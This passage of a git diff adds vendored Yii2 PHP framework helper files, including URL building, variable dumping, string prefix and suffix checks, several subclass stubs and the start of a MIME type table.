static::byteLength($with)) { + return true; + } + if ($caseSensitive) { + return strncmp($string, $with, $bytes) === 0; + } else { + return mb_strtolower(mb_substr($string, 0, $bytes, '8bit'), Yii::$app->charset) === mb_strtolower($with, Yii::$app->charset); + } + } + + /** + * Check if given string ends with specified substring. + * Binary and multibyte safe. + * + * @param string $string + * @param string $with + * @param boolean $caseSensitive Case sensitive search. Default is true. + * @return boolean Returns true if first input ends with second input, false otherwise + */ + public static function endsWith($string, $with, $caseSensitive = true) + { + if (!$bytes = static::byteLength($with)) { + return true; + } + if ($caseSensitive) { + // Warning check, see http://php.net/manual/en/function.substr-compare.php#refsect1-function.substr-compare-returnvalues + if (static::byteLength($string) < $bytes) { + return false; + } + return substr_compare($string, $with, -$bytes, $bytes) === 0; + } else { + return mb_strtolower(mb_substr($string, -$bytes, null, '8bit'), Yii::$app->charset) === mb_strtolower($with, Yii::$app->charset); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseUrl.php b/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseUrl.php new file mode 100644 index 00000000..8b9418bb --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseUrl.php @@ -0,0 +1,333 @@ + + * @since 2.0 + */ +class BaseUrl +{ + /** + * Creates a URL for the given route. + * + * This method will use [[\yii\web\UrlManager]] to create a URL. + * + * You may specify the route as a string, e.g., `site/index`. You may also use an array + * if you want to specify additional query parameters for the URL being created. The + * array format must be: + * + * ```php + * // generates: /index.php?r=site/index¶m1=value1¶m2=value2 + * ['site/index', 'param1' => 'value1', 'param2' => 'value2'] + * ``` + * + * If you want to create a URL with an anchor, you can use the array format with a `#` parameter. + * For example, + * + * ```php + * // generates: /index.php?r=site/index¶m1=value1#name + * ['site/index', 'param1' => 'value1', '#' => 'name'] + * ``` + * + * A route may be either absolute or relative. An absolute route has a leading slash (e.g. `/site/index`), + * while a relative route has none (e.g. `site/index` or `index`). A relative route will be converted + * into an absolute one by the following rules: + * + * - If the route is an empty string, the current [[\yii\web\Controller::route|route]] will be used; + * - If the route contains no slashes at all (e.g. `index`), it is considered to be an action ID + * of the current controller and will be prepended with [[\yii\web\Controller::uniqueId]]; + * - If the route has no leading slash (e.g. `site/index`), it is considered to be a route relative + * to the current module and will be prepended with the module's [[\yii\base\Module::uniqueId|uniqueId]]. + * + * Below are some examples of using this method: + * + * ```php + * // /index?r=site/index + * echo Url::toRoute('site/index'); + * + * // /index?r=site/index&src=ref1#name + * echo Url::toRoute(['site/index', 'src' => 'ref1', '#' => 'name']); + * + * // http://www.example.com/index.php?r=site/index + * echo Url::toRoute('site/index', true); + * + * // https://www.example.com/index.php?r=site/index + * echo Url::toRoute('site/index', 'https'); + * ``` + * + * @param string|array $route use a string to represent a route (e.g. `index`, `site/index`), + * or an array to represent a route with query parameters (e.g. `['site/index', 'param1' => 'value1']`). + * @param boolean|string $scheme the URI scheme to use in the generated URL: + * + * - `false` (default): generating a relative URL. + * - `true`: returning an absolute base URL whose scheme is the same as that in [[\yii\web\UrlManager::hostInfo]]. + * - string: generating an absolute URL with the specified scheme (either `http` or `https`). + * + * @return string the generated URL + * @throws InvalidParamException a relative route is given while there is no active controller + */ + public static function toRoute($route, $scheme = false) + { + $route = (array)$route; + $route[0] = static::normalizeRoute($route[0]); + + if ($scheme) { + return Yii::$app->getUrlManager()->createAbsoluteUrl($route, is_string($scheme) ? $scheme : null); + } else { + return Yii::$app->getUrlManager()->createUrl($route); + } + } + + /** + * Normalizes route and makes it suitable for UrlManager. Absolute routes are staying as is + * while relative routes are converted to absolute ones. + * + * A relative route is a route without a leading slash, such as "view", "post/view". + * + * - If the route is an empty string, the current [[\yii\web\Controller::route|route]] will be used; + * - If the route contains no slashes at all, it is considered to be an action ID + * of the current controller and will be prepended with [[\yii\web\Controller::uniqueId]]; + * - If the route has no leading slash, it is considered to be a route relative + * to the current module and will be prepended with the module's uniqueId. + * + * @param string $route the route. This can be either an absolute route or a relative route. + * @return string normalized route suitable for UrlManager + * @throws InvalidParamException a relative route is given while there is no active controller + */ + protected static function normalizeRoute($route) + { + $route = (string) $route; + if (strncmp($route, '/', 1) === 0) { + // absolute route + return ltrim($route, '/'); + } + + // relative route + if (Yii::$app->controller === null) { + throw new InvalidParamException("Unable to resolve the relative route: $route. No active controller is available."); + } + + if (strpos($route, '/') === false) { + // empty or an action ID + return $route === '' ? Yii::$app->controller->getRoute() : Yii::$app->controller->getUniqueId() . '/' . $route; + } else { + // relative to module + return ltrim(Yii::$app->controller->module->getUniqueId() . '/' . $route, '/'); + } + } + + /** + * Creates a URL based on the given parameters. + * + * This method is very similar to [[toRoute()]]. The only difference is that this method + * requires a route to be specified as an array only. If a string is given, it will be treated as a URL. + * In particular, if `$url` is + * + * - an array: [[toRoute()]] will be called to generate the URL. For example: + * `['site/index']`, `['post/index', 'page' => 2]`. Please refer to [[toRoute()]] for more details + * on how to specify a route. + * - a string with a leading `@`: it is treated as an alias, and the corresponding aliased string + * will be returned. + * - an empty string: the currently requested URL will be returned; + * - a normal string: it will be returned as is. + * + * When `$scheme` is specified (either a string or true), an absolute URL with host info (obtained from + * [[\yii\web\UrlManager::hostInfo]]) will be returned. If `$url` is already an absolute URL, its scheme + * will be replaced with the specified one. + * + * Below are some examples of using this method: + * + * ```php + * // /index?r=site/index + * echo Url::to(['site/index']); + * + * // /index?r=site/index&src=ref1#name + * echo Url::to(['site/index', 'src' => 'ref1', '#' => 'name']); + * + * // the currently requested URL + * echo Url::to(); + * + * // /images/logo.gif + * echo Url::to('@web/images/logo.gif'); + * + * // images/logo.gif + * echo Url::to('images/logo.gif'); + * + * // http://www.example.com/images/logo.gif + * echo Url::to('@web/images/logo.gif', true); + * + * // https://www.example.com/images/logo.gif + * echo Url::to('@web/images/logo.gif', 'https'); + * ``` + * + * + * @param array|string $url the parameter to be used to generate a valid URL + * @param boolean|string $scheme the URI scheme to use in the generated URL: + * + * - `false` (default): generating a relative URL. + * - `true`: returning an absolute base URL whose scheme is the same as that in [[\yii\web\UrlManager::hostInfo]]. + * - string: generating an absolute URL with the specified scheme (either `http` or `https`). + * + * @return string the generated URL + * @throws InvalidParamException a relative route is given while there is no active controller + */ + public static function to($url = '', $scheme = false) + { + if (is_array($url)) { + return static::toRoute($url, $scheme); + } + + $url = Yii::getAlias($url); + if ($url === '') { + $url = Yii::$app->getRequest()->getUrl(); + } + + if (!$scheme) { + return $url; + } + + if (strncmp($url, '//', 2) === 0) { + // e.g. //hostname/path/to/resource + return is_string($scheme) ? "$scheme:$url" : $url; + } + + if (($pos = strpos($url, ':')) == false || !ctype_alpha(substr($url, 0, $pos))) { + // turn relative URL into absolute + $url = Yii::$app->getUrlManager()->getHostInfo() . '/' . ltrim($url, '/'); + } + + if (is_string($scheme) && ($pos = strpos($url, ':')) !== false) { + // replace the scheme with the specified one + $url = $scheme . substr($url, $pos); + } + + return $url; + } + + /** + * Returns the base URL of the current request. + * @param boolean|string $scheme the URI scheme to use in the returned base URL: + * + * - `false` (default): returning the base URL without host info. + * - `true`: returning an absolute base URL whose scheme is the same as that in [[\yii\web\UrlManager::hostInfo]]. + * - string: returning an absolute base URL with the specified scheme (either `http` or `https`). + * @return string + */ + public static function base($scheme = false) + { + $url = Yii::$app->getUrlManager()->getBaseUrl(); + if ($scheme) { + $url = Yii::$app->getUrlManager()->getHostInfo() . $url; + if (is_string($scheme) && ($pos = strpos($url, '://')) !== false) { + $url = $scheme . substr($url, $pos); + } + } + return $url; + } + + /** + * Remembers the specified URL so that it can be later fetched back by [[previous()]]. + * + * @param string|array $url the URL to remember. Please refer to [[to()]] for acceptable formats. + * If this parameter is not specified, the currently requested URL will be used. + * @param string $name the name associated with the URL to be remembered. This can be used + * later by [[previous()]]. If not set, it will use [[\yii\web\User::returnUrlParam]]. + * @see previous() + */ + public static function remember($url = '', $name = null) + { + $url = static::to($url); + + if ($name === null) { + Yii::$app->getUser()->setReturnUrl($url); + } else { + Yii::$app->getSession()->set($name, $url); + } + } + + /** + * Returns the URL previously [[remember()|remembered]]. + * + * @param string $name the named associated with the URL that was remembered previously. + * If not set, it will use [[\yii\web\User::returnUrlParam]]. + * @return string the URL previously remembered. Null is returned if no URL was remembered with the given name. + * @see remember() + */ + public static function previous($name = null) + { + if ($name === null) { + return Yii::$app->getUser()->getReturnUrl(); + } else { + return Yii::$app->getSession()->get($name); + } + } + + /** + * Returns the canonical URL of the currently requested page. + * The canonical URL is constructed using the current controller's [[\yii\web\Controller::route]] and + * [[\yii\web\Controller::actionParams]]. You may use the following code in the layout view to add a link tag + * about canonical URL: + * + * ```php + * $this->registerLinkTag(['rel' => 'canonical', 'href' => Url::canonical()]); + * ``` + * + * @return string the canonical URL of the currently requested page + */ + public static function canonical() + { + $params = Yii::$app->controller->actionParams; + $params[0] = Yii::$app->controller->getRoute(); + + return Yii::$app->getUrlManager()->createAbsoluteUrl($params); + } + + /** + * Returns the home URL. + * + * @param boolean|string $scheme the URI scheme to use for the returned URL: + * + * - `false` (default): returning a relative URL. + * - `true`: returning an absolute base URL whose scheme is the same as that in [[\yii\web\UrlManager::hostInfo]]. + * - string: returning an absolute URL with the specified scheme (either `http` or `https`). + * + * @return string home URL + */ + public static function home($scheme = false) + { + $url = Yii::$app->getHomeUrl(); + + if ($scheme) { + $url = Yii::$app->getUrlManager()->getHostInfo() . $url; + if (is_string($scheme) && ($pos = strpos($url, '://')) !== false) { + $url = $scheme . substr($url, $pos); + } + } + + return $url; + } + + /** + * Returns a value indicating whether a URL is relative. + * A relative URL does not have host info part. + * @param string $url the URL to be checked + * @return boolean whether the URL is relative + */ + public static function isRelative($url) + { + return strncmp($url, '//', 2) && strpos($url, '://') === false; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseVarDumper.php b/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseVarDumper.php new file mode 100644 index 00000000..4006bcca --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/helpers/BaseVarDumper.php @@ -0,0 +1,188 @@ + + * @since 2.0 + */ +class BaseVarDumper +{ + private static $_objects; + private static $_output; + private static $_depth; + + + /** + * Displays a variable. + * This method achieves the similar functionality as var_dump and print_r + * but is more robust when handling complex objects such as Yii controllers. + * @param mixed $var variable to be dumped + * @param integer $depth maximum depth that the dumper should go into the variable. Defaults to 10. + * @param boolean $highlight whether the result should be syntax-highlighted + */ + public static function dump($var, $depth = 10, $highlight = false) + { + echo static::dumpAsString($var, $depth, $highlight); + } + + /** + * Dumps a variable in terms of a string. + * This method achieves the similar functionality as var_dump and print_r + * but is more robust when handling complex objects such as Yii controllers. + * @param mixed $var variable to be dumped + * @param integer $depth maximum depth that the dumper should go into the variable. Defaults to 10. + * @param boolean $highlight whether the result should be syntax-highlighted + * @return string the string representation of the variable + */ + public static function dumpAsString($var, $depth = 10, $highlight = false) + { + self::$_output = ''; + self::$_objects = []; + self::$_depth = $depth; + self::dumpInternal($var, 0); + if ($highlight) { + $result = highlight_string("/', '', $result, 1); + } + + return self::$_output; + } + + /** + * @param mixed $var variable to be dumped + * @param integer $level depth level + */ + private static function dumpInternal($var, $level) + { + switch (gettype($var)) { + case 'boolean': + self::$_output .= $var ? 'true' : 'false'; + break; + case 'integer': + self::$_output .= "$var"; + break; + case 'double': + self::$_output .= "$var"; + break; + case 'string': + self::$_output .= "'" . addslashes($var) . "'"; + break; + case 'resource': + self::$_output .= '{resource}'; + break; + case 'NULL': + self::$_output .= "null"; + break; + case 'unknown type': + self::$_output .= '{unknown}'; + break; + case 'array': + if (self::$_depth <= $level) { + self::$_output .= '[...]'; + } elseif (empty($var)) { + self::$_output .= '[]'; + } else { + $keys = array_keys($var); + $spaces = str_repeat(' ', $level * 4); + self::$_output .= '['; + foreach ($keys as $key) { + self::$_output .= "\n" . $spaces . ' '; + self::dumpInternal($key, 0); + self::$_output .= ' => '; + self::dumpInternal($var[$key], $level + 1); + } + self::$_output .= "\n" . $spaces . ']'; + } + break; + case 'object': + if (($id = array_search($var, self::$_objects, true)) !== false) { + self::$_output .= get_class($var) . '#' . ($id + 1) . '(...)'; + } elseif (self::$_depth <= $level) { + self::$_output .= get_class($var) . '(...)'; + } else { + $id = array_push(self::$_objects, $var); + $className = get_class($var); + $spaces = str_repeat(' ', $level * 4); + self::$_output .= "$className#$id\n" . $spaces . '('; + foreach ((array) $var as $key => $value) { + $keyDisplay = strtr(trim($key), "\0", ':'); + self::$_output .= "\n" . $spaces . " [$keyDisplay] => "; + self::dumpInternal($value, $level + 1); + } + self::$_output .= "\n" . $spaces . ')'; + } + break; + } + } + + /** + * Exports a variable as a string representation. + * + * The string is a valid PHP expression that can be evaluated by PHP parser + * and the evaluation result will give back the variable value. + * + * This method is similar to `var_export()`. The main difference is that + * it generates more compact string representation using short array syntax. + * + * It also handles objects by using the PHP functions serialize() and unserialize(). + * + * PHP 5.4 or above is required to parse the exported value. + * + * @param mixed $var the variable to be exported. + * @return string a string representation of the variable + */ + public static function export($var) + { + self::$_output = ''; + self::exportInternal($var, 0); + return self::$_output; + } + + /** + * @param mixed $var variable to be exported + * @param integer $level depth level + */ + private static function exportInternal($var, $level) + { + switch (gettype($var)) { + case 'NULL': + self::$_output .= 'null'; + break; + case 'array': + if (empty($var)) { + self::$_output .= '[]'; + } else { + $keys = array_keys($var); + $outputKeys = ($keys !== range(0, sizeof($var) - 1)); + $spaces = str_repeat(' ', $level * 4); + self::$_output .= '['; + foreach ($keys as $key) { + self::$_output .= "\n" . $spaces . ' '; + if ($outputKeys) { + self::exportInternal($key, 0); + self::$_output .= ' => '; + } + self::exportInternal($var[$key], $level + 1); + self::$_output .= ','; + } + self::$_output .= "\n" . $spaces . ']'; + } + break; + case 'object': + self::$_output .= 'unserialize(' . var_export(serialize($var), true) . ')'; + break; + default: + self::$_output .= var_export($var, true); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/helpers/Console.php b/php/yii2/basic/vendor/yiisoft/yii2/helpers/Console.php new file mode 100644 index 00000000..a34dc968 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/helpers/Console.php @@ -0,0 +1,19 @@ + + * @since 2.0 + */ +class Console extends BaseConsole +{ +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/helpers/FileHelper.php b/php/yii2/basic/vendor/yiisoft/yii2/helpers/FileHelper.php new file mode 100644 index 00000000..f1f14d91 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/helpers/FileHelper.php @@ -0,0 +1,19 @@ + + * @author Alex Makarov + * @since 2.0 + */ +class FileHelper extends BaseFileHelper +{ +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/helpers/FormatConverter.php b/php/yii2/basic/vendor/yiisoft/yii2/helpers/FormatConverter.php new file mode 100644 index 00000000..4b75325f --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/helpers/FormatConverter.php @@ -0,0 +1,21 @@ + + * @author Enrica Ruedin + * @since 2.0 + */ +class FormatConverter extends BaseFormatConverter +{ +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/helpers/Html.php b/php/yii2/basic/vendor/yiisoft/yii2/helpers/Html.php new file mode 100644 index 00000000..7428e4b9 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/helpers/Html.php @@ -0,0 +1,22 @@ + + * @since 2.0 + */ +class Html extends BaseHtml +{ +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/helpers/HtmlPurifier.php b/php/yii2/basic/vendor/yiisoft/yii2/helpers/HtmlPurifier.php new file mode 100644 index 00000000..0d910ac9 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/helpers/HtmlPurifier.php @@ -0,0 +1,37 @@ + true, + * ]); + * ``` + * + * For more details please refer to [HTMLPurifier documentation](http://htmlpurifier.org/). + * + * Note that you should add `ezyang/htmlpurifier` to your composer.json `require` section and run `composer install` + * before using it. + * + * @author Alexander Makarov + * @since 2.0 + */ +class HtmlPurifier extends BaseHtmlPurifier +{ +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/helpers/Inflector.php b/php/yii2/basic/vendor/yiisoft/yii2/helpers/Inflector.php new file mode 100644 index 00000000..ab4713ea --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/helpers/Inflector.php @@ -0,0 +1,18 @@ + + * @since 2.0 + */ +class Inflector extends BaseInflector +{ +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/helpers/Json.php b/php/yii2/basic/vendor/yiisoft/yii2/helpers/Json.php new file mode 100644 index 00000000..8ca436a3 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/helpers/Json.php @@ -0,0 +1,19 @@ + + * @since 2.0 + */ +class Json extends BaseJson +{ +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/helpers/Markdown.php b/php/yii2/basic/vendor/yiisoft/yii2/helpers/Markdown.php new file mode 100644 index 00000000..9562155e --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/helpers/Markdown.php @@ -0,0 +1,30 @@ + + * @since 2.0 + */ +class Markdown extends BaseMarkdown +{ +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/helpers/StringHelper.php b/php/yii2/basic/vendor/yiisoft/yii2/helpers/StringHelper.php new file mode 100644 index 00000000..5ecd3908 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/helpers/StringHelper.php @@ -0,0 +1,19 @@ + + * @author Alex Makarov + * @since 2.0 + */ +class StringHelper extends BaseStringHelper +{ +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/helpers/Url.php b/php/yii2/basic/vendor/yiisoft/yii2/helpers/Url.php new file mode 100644 index 00000000..b2998c7b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/helpers/Url.php @@ -0,0 +1,18 @@ + + * @since 2.0 + */ +class Url extends BaseUrl +{ +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/helpers/VarDumper.php b/php/yii2/basic/vendor/yiisoft/yii2/helpers/VarDumper.php new file mode 100644 index 00000000..cb5d0f91 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/helpers/VarDumper.php @@ -0,0 +1,27 @@ + + * @since 2.0 + */ +class VarDumper extends BaseVarDumper +{ +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/helpers/mimeTypes.php b/php/yii2/basic/vendor/yiisoft/yii2/helpers/mimeTypes.php new file mode 100644 index 00000000..46ede3d7 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/helpers/mimeTypes.php @@ -0,0 +1,993 @@ + 'text/vnd.in3d.3dml', + '3ds' => 'image/x-3ds', + '3g2' => 'video/3gpp2', + '3gp' => 'video/3gpp', + '7z' => 'application/x-7z-compressed', + 'aab' => 'application/x-authorware-bin', + 'aac' => 'audio/x-aac', + 'aam' => 'application/x-authorware-map', + 'aas' => 'application/x-authorware-seg', + 'abw' => 'application/x-abiword', + 'ac' => 'application/pkix-attr-cert', + 'acc' => 'application/vnd.americandynamics.acc', + 'ace' => 'application/x-ace-compressed', + 'acu' => 'application/vnd.acucobol', + 'acutc' => 'application/vnd.acucorp', + 'adp' => 'audio/adpcm', + 'aep' => 'application/vnd.audiograph', + 'afm' => 'application/x-font-type1', + 'afp' => 'application/vnd.ibm.modcap', + 'ahead' => 'application/vnd.ahead.space', + 'ai' => 'application/postscript', + 'aif' => 'audio/x-aiff', + 'aifc' => 'audio/x-aiff', + 'aiff' => 'audio/x-aiff', + 'air' => 'application/vnd.adobe.air-application-installer-package+zip', + 'ait' => 'application/vnd.dvb.ait', + 'ami' => 'application/vnd.amiga.ami', + 'apk' => 'application/vnd.android.package-archive', + 'appcache' => 'text/cache-manifest', + 'application' => 'application/x-ms-application', + 'apr' => 'application/vnd.lotus-approach', + 'arc' => 'application/x-freearc', + 'asc' => 'application/pgp-signature', + 'asf' => 'video/x-ms-asf', + 'asm' => 'text/x-asm', + 'aso' => 'application/vnd.accpac.simply.aso', + 'asx' => 'video/x-ms-asf', + 'atc' => 'application/vnd.acucorp', + 'atom' => 'application/atom+xml', + 'atomcat' => 'application/atomcat+xml', + 'atomsvc' => 'application/atomsvc+xml', + 'atx' => 'application/vnd.antix.game-component', + 'au' => 'audio/basic', + 'avi' => 'video/x-msvideo', + 'aw' => 'application/applixware', + 'azf' => 'application/vnd.airzip.filesecure.azf', + 'azs' => 'application/vnd.airzip.filesecure.azs', + 'azw' => 'application/vnd.amazon.ebook', + 'bat' => 'application/x-msdownload', + 'bcpio' => 'application/x-bcpio', + 'bdf' => 'application/x-font-bdf', + 'bdm' => 'application/vnd.syncml.dm+wbxml', + 'bed' => 'application/vnd.realvnc.bed', + 'bh2' => 'application/vnd.fujitsu.oasysprs', + 'bin' => 'application/octet-stream', + 'blb' => 'application/x-blorb', + 'blorb' => 'application/x-blorb', + 'bmi' => 'application/vnd.bmi', + 'bmp' => 'image/bmp', + 'book' => 'application/vnd.framemaker', + 'box' => 'application/vnd.previewsystems.box', + 'boz' => 'application/x-bzip2', + 'bpk' => 'application/octet-stream', + 'btif' => 'image/prs.btif', + 'bz' => 'application/x-bzip', + 'bz2' => 'application/x-bzip2', + 'c' => 'text/x-c', + 'c11amc' => 'application/vnd.cluetrust.cartomobile-config', + 'c11amz' => 'application/vnd.cluetrust.cartomobile-config-pkg', + 'c4d' => 'application/vnd.clonk.c4group', + 'c4f' => 'application/vnd.clonk.c4group', + 'c4g' => 'application/vnd.clonk.c4group', + 'c4p' => 'application/vnd.clonk.c4group', + 'c4u' => 'application/vnd.clonk.c4group', + 'cab' => 'application/vnd.ms-cab-compressed', + 'caf' => 'audio/x-caf', + 'cap' => 'application/vnd.tcpdump.pcap', + 'car' => 'application/vnd.curl.car', + 'cat' => 'application/vnd.ms-pki.seccat', + 'cb7' => 'application/x-cbr', + 'cba' => 'application/x-cbr', + 'cbr' => 'application/x-cbr', + 'cbt' => 'application/x-cbr', + 'cbz' => 'application/x-cbr', + 'cc' => 'text/x-c', + 'cct' => 'application/x-director', + 'ccxml' => 'application/ccxml+xml', + 'cdbcmsg' => 'application/vnd.contact.cmsg', + 'cdf' => 'application/x-netcdf', + 'cdkey' => 'application/vnd.mediastation.cdkey', + 'cdmia' => 'application/cdmi-capability', + 'cdmic' => 'application/cdmi-container', + 'cdmid' => 'application/cdmi-domain', + 'cdmio' => 'application/cdmi-object', + 'cdmiq' => 'application/cdmi-queue', + 'cdx' => 'chemical/x-cdx', + 'cdxml' => 'application/vnd.chemdraw+xml', + 'cdy' => 'application/vnd.cinderella', + 'cer' => 'application/pkix-cert', + 'cfs' => 'application/x-cfs-compressed', + 'cgm' => 'image/cgm', + 'chat' => 'application/x-chat', + 'chm' => 'application/vnd.ms-htmlhelp', + 'chrt' => 'application/vnd.kde.kchart', + 'cif' => 'chemical/x-cif', + 'cii' => 'application/vnd.anser-web-certificate-issue-initiation', + 'cil' => 'application/vnd.ms-artgalry', + 'cla' => 'application/vnd.claymore', + 'class' => 'application/java-vm', + 'clkk' => 'application/vnd.crick.clicker.keyboard', + 'clkp' => 'application/vnd.crick.clicker.palette', + 'clkt' => 'application/vnd.crick.clicker.template', + 'clkw' => 'application/vnd.crick.clicker.wordbank', + 'clkx' => 'application/vnd.crick.clicker', + 'clp' => 'application/x-msclip', + 'cmc' => 'application/vnd.cosmocaller', + 'cmdf' => 'chemical/x-cmdf', + 'cml' => 'chemical/x-cml', + 'cmp' => 'application/vnd.yellowriver-custom-menu', + 'cmx' => 'image/x-cmx', + 'cod' => 'application/vnd.rim.cod', + 'com' => 'application/x-msdownload', + 'conf' => 'text/plain', + 'cpio' => 'application/x-cpio', + 'cpp' => 'text/x-c', + 'cpt' => 'application/mac-compactpro', + 'crd' => 'application/x-mscardfile', + 'crl' => 'application/pkix-crl', + 'crt' => 'application/x-x509-ca-cert', + 'cryptonote' => 'application/vnd.rig.cryptonote', + 'csh' => 'application/x-csh', + 'csml' => 'chemical/x-csml', + 'csp' => 'application/vnd.commonspace', + 'css' => 'text/css', + 'cst' => 'application/x-director', + 'csv' => 'text/csv', + 'cu' => 'application/cu-seeme', + 'curl' => 'text/vnd.curl', + 'cww' => 'application/prs.cww', + 'cxt' => 'application/x-director', + 'cxx' => 'text/x-c', + 'dae' => 'model/vnd.collada+xml', + 'daf' => 'application/vnd.mobius.daf', + 'dart' => 'application/vnd.dart', + 'dataless' => 'application/vnd.fdsn.seed', + 'davmount' => 'application/davmount+xml', + 'dbk' => 'application/docbook+xml', + 'dcr' => 'application/x-director', + 'dcurl' => 'text/vnd.curl.dcurl', + 'dd2' => 'application/vnd.oma.dd2+xml', + 'ddd' => 'application/vnd.fujixerox.ddd', + 'deb' => 'application/x-debian-package', + 'def' => 'text/plain', + 'deploy' => 'application/octet-stream', + 'der' => 'application/x-x509-ca-cert', + 'dfac' => 'application/vnd.dreamfactory', + 'dgc' => 'application/x-dgc-compressed', + 'dic' => 'text/x-c', + 'dir' => 'application/x-director', + 'dis' => 'application/vnd.mobius.dis', + 'dist' => 'application/octet-stream', + 'distz' => 'application/octet-stream', + 'djv' => 'image/vnd.djvu', + 'djvu' => 'image/vnd.djvu', + 'dll' => 'application/x-msdownload', + 'dmg' => 'application/x-apple-diskimage', + 'dmp' => 'application/vnd.tcpdump.pcap', + 'dms' => 'application/octet-stream', + 'dna' => 'application/vnd.dna', + 'doc' => 'application/msword', + 'docm' => 'application/vnd.ms-word.document.macroenabled.12', + 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', + 'dot' => 'application/msword', + 'dotm' => 'application/vnd.ms-word.template.macroenabled.12', + 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', + 'dp' => 'application/vnd.osgi.dp', + 'dpg' => 'application/vnd.dpgraph', + 'dra' => 'audio/vnd.dra', + 'dsc' => 'text/prs.lines.tag', + 'dssc' => 'application/dssc+der', + 'dtb' => 'application/x-dtbook+xml', + 'dtd' => 'application/xml-dtd', + 'dts' => 'audio/vnd.dts', + 'dtshd' => 'audio/vnd.dts.hd', + 'dump' => 'application/octet-stream', + 'dvb' => 'video/vnd.dvb.file', + 'dvi' => 'application/x-dvi', + 'dwf' => 'model/vnd.dwf', + 'dwg' => 'image/vnd.dwg', + 'dxf' => 'image/vnd.dxf', + 'dxp' => 'application/vnd.spotfire.dxp', + 'dxr' => 'application/x-director', + 'ecelp4800' => 'audio/vnd.nuera.ecelp4800', + 'ecelp7470' => 'audio/vnd.nuera.ecelp7470', + 'ecelp9600' => 'audio/vnd.nuera.ecelp9600', + 'ecma' => 'application/ecmascript', + 'edm' => 'application/vnd.novadigm.edm', + 'edx' => 'application/vnd.novadigm.edx', + 'efif' => 'application/vnd.picsel', + 'ei6' => 'application/vnd.pg.osasli', + 'elc' => 'application/octet-stream', + 'emf' => 'application/x-msmetafile', + 'eml' => 'message/rfc822', + 'emma' => 'application/emma+xml', + 'emz' => 'application/x-msmetafile', + 'eol' => 'audio/vnd.digital-winds', + 'eot' => 'application/vnd.ms-fontobject', + 'eps' => 'application/postscript', + 'epub' => 'application/epub+zip', + 'es3' => 'application/vnd.eszigno3+xml', + 'esa' => 'application/vnd.osgi.subsystem', + 'esf' => 'application/vnd.epson.esf', + 'et3' => 'application/vnd.eszigno3+xml', + 'etx' => 'text/x-setext', + 'eva' => 'application/x-eva', + 'evy' => 'application/x-envoy', + 'exe' => 'application/x-msdownload', + 'exi' => 'application/exi', + 'ext' => 'application/vnd.novadigm.ext', + 'ez' => 'application/andrew-inset', + 'ez2' => 'application/vnd.ezpix-album', + 'ez3' => 'application/vnd.ezpix-package', + 'f' => 'text/x-fortran', + 'f4v' => 'video/x-f4v', + 'f77' => 'text/x-fortran', + 'f90' => 'text/x-fortran', + 'fbs' => 'image/vnd.fastbidsheet', + 'fcdt' => 'application/vnd.adobe.formscentral.fcdt', + 'fcs' => 'application/vnd.isac.fcs', + 'fdf' => 'application/vnd.fdf', + 'fe_launch' => 'application/vnd.denovo.fcselayout-link', + 'fg5' => 'application/vnd.fujitsu.oasysgp', + 'fgd' => 'application/x-director', + 'fh' => 'image/x-freehand', + 'fh4' => 'image/x-freehand', + 'fh5' => 'image/x-freehand', + 'fh7' => 'image/x-freehand', + 'fhc' => 'image/x-freehand', + 'fig' => 'application/x-xfig', + 'flac' => 'audio/x-flac', + 'fli' => 'video/x-fli', + 'flo' => 'application/vnd.micrografx.flo', + 'flv' => 'video/x-flv', + 'flw' => 'application/vnd.kde.kivio', + 'flx' => 'text/vnd.fmi.flexstor', + 'fly' => 'text/vnd.fly', + 'fm' => 'application/vnd.framemaker', + 'fnc' => 'application/vnd.frogans.fnc', + 'for' => 'text/x-fortran', + 'fpx' => 'image/vnd.fpx', + 'frame' => 'application/vnd.framemaker', + 'fsc' => 'application/vnd.fsc.weblaunch', + 'fst' => 'image/vnd.fst', + 'ftc' => 'application/vnd.fluxtime.clip', + 'fti' => 'application/vnd.anser-web-funds-transfer-initiation', + 'fvt' => 'video/vnd.fvt', + 'fxp' => 'application/vnd.adobe.fxp', + 'fxpl' => 'application/vnd.adobe.fxp', + 'fzs' => 'application/vnd.fuzzysheet', + 'g2w' => 'application/vnd.geoplan', + 'g3' => 'image/g3fax', + 'g3w' => 'application/vnd.geospace', + 'gac' => 'application/vnd.groove-account', + 'gam' => 'application/x-tads', + 'gbr' => 'application/rpki-ghostbusters', + 'gca' => 'application/x-gca-compressed', + 'gdl' => 'model/vnd.gdl', + 'geo' => 'application/vnd.dynageo', + 'gex' => 'application/vnd.geometry-explorer', + 'ggb' => 'application/vnd.geogebra.file', + 'ggt' => 'application/vnd.geogebra.tool', + 'ghf' => 'application/vnd.groove-help', + 'gif' => 'image/gif', + 'gim' => 